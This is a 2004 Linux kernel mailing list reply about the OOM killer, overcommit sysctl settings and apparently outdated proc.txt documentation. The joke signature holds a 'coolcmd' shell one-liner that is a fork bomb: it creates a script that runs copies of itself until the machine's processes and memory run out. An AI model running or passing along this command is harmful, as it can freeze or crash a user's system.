Messages in this thread | | | From | Thomas Habets <> | Subject | Re: [PATCH] oom_pardon, aka don't kill my xlock | Date | Fri, 24 Sep 2004 21:58:27 +0200 |
| |
Once upon a midnight dreary, Alan Cox pondered, weak and weary: > The rest of us just turn on "no overcommit" in /proc/sys.
$ cat /proc/sys/vm/overcommit_{memory,ratio} 0 50
Well that didn't help. Me thinks the text in Documentation/filesystems/proc.txt may be out of date, especially considering it doesn't say the same as Documentation/vm/overcommit-accounting.txt.
overcommit_memory -----------------
This file contains one value. The following algorithm is used to decide if there's enough memory: if the value of overcommit_memory is positive, then there's always enough memory. This is a useful feature, since programs often malloc() huge amounts of memory 'just in case', while they only use a small part of it. Leaving this value at 0 will lead to the failure of such a huge malloc(), when in fact the system has enough memory for the program to run.
On the other hand, enabling this feature can cause you to run out of memory and thrash the system to death, so large and/or important servers will want to set this value to 0.
And also, I'd like to see how a misbehaving airline passenger could start to gain weight not originally on the plane, causing the flight attendants to start executing people because of OOF. And IIRC most airlines don't like having women onboard who are way too pregnant, so no forking either.
--------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas@habets.pp.se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t; [unhandled content-type:application/pgp-signature] | |